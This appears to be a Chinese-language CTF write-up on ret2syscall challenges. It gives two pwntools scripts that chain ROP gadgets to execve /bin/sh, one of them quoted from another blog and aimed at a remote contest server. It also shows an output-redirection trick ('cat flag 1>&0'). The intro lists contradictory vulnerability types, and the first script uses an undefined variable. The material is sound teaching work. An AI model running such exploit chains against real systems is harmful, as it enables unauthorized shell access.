32位的栈题

本题主要考查的是栈迁移

本题是典型的32位uaf漏洞,存在后门

典型的栈溢出修改a1和a2即可

ret2syscall,我们可以使用

ROPgadget --binary rop --ropchain #给拼凑的rop链

在此之前我们要导入pack的包

exp:

from pwn import *
from struct import pack
#r = process('./simplerop')
context.log_level = 'debug'
#r.recv()
int_addr = 0x080493e1
pop_eax = 0x080bae06
read_addr= 0x0806CD50
binsh_addr = 0x080EB584
pop_edx_ecx_ebx = 0x0806e850
p=b"a"*0x20
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080bae06) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080bae06) # pop eax ; ret
p += b'//sh'
p += pack(b'<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack(b'<I', 0x0806e850) # pop_edx_ecx_ebx ; ret
p += p32(0)+p32(0)+p32(0x080ea060)
p += pack(b'<I', 0x080bae06) # pop eax ; ret
p += p32(0xb)
p += pack(b'<I', 0x080493e1) # int 0x80
#print(strlen(p))
r.sendline(p)
r.interactive()

1708842716708

1708842716708

system可以以sh为参数因此我们只要利用这串字符串的最后sh可以用作参数,同样可以获取到shell

ROPgadget --binary "wusctf2020" --string "sh"

1708842716708

1708842716708

输出重定向

execv 1>&0标准输出重定向到标准输入,可以看成重启了一下标准输出,这时就可以看到输出的内容了

同时我想起来了在上次比赛中的题目

1708842716708

这个题是64位的ret2syscall,但是在最后关闭了标准输出和标准错误,导致无法把flag输出或者泄露出来,此时我们就可以利用输出重定向来进行修改exp:

# 本文作者:Yuro@Yuro的博客
# 本文链接:https://yurogod.github.io/ctf/events/BeginCTF-2024/
# 版权声明:本站所有文章除特别声明外,均采用 (CC)BY-NC-SA 许可协议。转载请注明出处!

from pwn import *
context(arch="amd64", os="linux", log_level="debug")
#p = process("./gift_rop")
p = remote("101.32.220.189", 31285)
# pop rax ; ret
pop_rax_ret = 0x448077
# pop rsi ; ret
pop_rsi_ret = 0x409f9e
# pop rdx ; pop rbx ; ret
pop_rdx_rbx_ret = 0x47f20b
# pop rdi ; ret
pop_rdi_ret = 0x401f2f
syscall_ret = 0x447635
# /bin/sh
binsh = 0x4c50f0
# gdb.attach(p)
payload = b"a"*0x28
payload += p64(pop_rax_ret)+ p64(0x3b)
payload += p64(pop_rdx_rbx_ret) + p64(0) + p64(0)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rdi_ret) + p64(binsh)
payload += p64(syscall_ret)
p.sendline(payload)
p.sendline(b"cat flag 1>&0")
p.interactive()